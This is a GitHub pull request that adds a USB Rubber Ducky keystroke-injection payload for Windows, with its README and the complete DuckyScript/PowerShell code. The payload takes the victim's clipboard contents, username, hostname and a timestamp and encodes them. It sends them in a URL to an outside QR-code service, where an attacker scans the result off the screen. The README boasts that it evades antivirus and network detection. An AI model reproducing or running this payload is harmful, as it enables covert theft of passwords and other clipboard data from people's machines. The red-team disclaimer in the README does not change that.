-
Notifications
You must be signed in to change notification settings - Fork 1.5k
Add Airgap QR Exfiltration Payload #540
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. Weβll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from all commits
0c1df13
a01fc11
ab61fb3
b6d29db
3c3f98e
8b801b8
bd29187
b9d4506
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
MIT License | ||
|
||
Copyright (c) 2025 pezzaliapp | ||
|
||
Permission is hereby granted, free of charge, to any person obtaining a copy | ||
of this software and associated documentation files (the "Software"), to deal | ||
in the Software without restriction, including without limitation the rights | ||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | ||
copies of the Software, and to permit persons to whom the Software is | ||
furnished to do so, subject to the following conditions: | ||
|
||
The above copyright notice and this permission notice shall be included in all | ||
copies or substantial portions of the Software. | ||
|
||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | ||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | ||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | ||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | ||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | ||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE | ||
SOFTWARE. |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,52 @@ | ||
# Airgap QR Exfil β Rubber Ducky Payload | ||
|
||
**Author:** Alessandro | ||
**Device:** Hak5 USB Rubber Ducky (USB-C/A) | ||
**Platform:** Windows | ||
**Category:** Exfiltration / Airgap | ||
|
||
## π― Description | ||
|
||
This payload exfiltrates clipboard data along with the current username, hostname, and timestamp via a QR code β **without requiring any internet connection from the target machine**. | ||
|
||
It is designed for **air-gapped environments**, using PowerShell to generate a data string, encode it in Base64, and open a QR code in the browser. The attacker scans the QR code using a smartphone, decodes the data, and retrieves the sensitive information. | ||
|
||
## β Features | ||
|
||
- No internet required on target machine | ||
- Works on locked-down systems with PowerShell enabled | ||
- Leaves no file on disk | ||
- Avoids antivirus/network detection | ||
- Perfect for Red Team or physical security audits | ||
|
||
## π§ Data collected | ||
|
||
- Clipboard contents | ||
- Username | ||
- Hostname | ||
- Timestamp (YYYY-MM-DD HH:mm:ss) | ||
|
||
## π» How it works | ||
|
||
1. Reads data from clipboard and system | ||
2. Constructs a single exfil string | ||
3. Base64 encodes and URL-encodes the result | ||
4. Opens a QR generator site with the encoded string | ||
5. Attacker scans the QR and decodes the Base64 manually | ||
|
||
## π· Optional improvements | ||
|
||
- Save screenshot of desktop | ||
- Offline QR code generation | ||
- Loop-based clipboard sampling | ||
|
||
## β οΈ Disclaimer | ||
|
||
This payload is intended for **educational and authorized use only**. | ||
Do **not** deploy on systems without **explicit permission**. | ||
|
||
## π Submission | ||
|
||
To submit to the Hak5 Payload Awards: | ||
- Fork or submit a PR to: https://github.com/hak5/usbrubberducky-payloads | ||
- Or upload your repo and link it via: https://shop.hak5.org/pages/payload-awards |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,28 @@ | ||
REM Payload: Airgap QR Exfil | ||
REM Author: Alessandro | ||
REM Description: Exfiltrates clipboard and system info via QR code offline | ||
REM Target: Windows | ||
|
||
REM ---- PASSIVE_WINDOWS_DETECT EXTENSION (INLINE) ---- | ||
INJECT_MOD WINDOWS | ||
DELAY 100 | ||
STRING r | ||
DELAY 100 | ||
ENTER | ||
DELAY 500 | ||
|
||
REM ---- BEGIN PAYLOAD ---- | ||
STRING powershell | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. For instances where you are using, For example,
Will function the same as
|
||
ENTER | ||
DELAY 800 | ||
|
||
STRINGLN_POWERSHELL | ||
Add-Type -AssemblyName System.Web | ||
$clip = Get-Clipboard -Raw | ||
$user = $env:USERNAME | ||
$hostname = $env:COMPUTERNAME | ||
$time = Get-Date -Format "yyyy-MM-dd HH:mm:ss" | ||
$data = "[$time][$user@$hostname] $clip" | ||
$encoded = [System.Web.HttpUtility]::UrlEncode([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data))) | ||
Start-Process chrome "--new-window https://api.qrserver.com/v1/create-qr-code/?size=400x400&data=$encoded" | ||
END_STRINGLN |
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Please remove the binary file. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This is still incorrect. Please review the extensions library on the github
https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/extensions
https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/extensions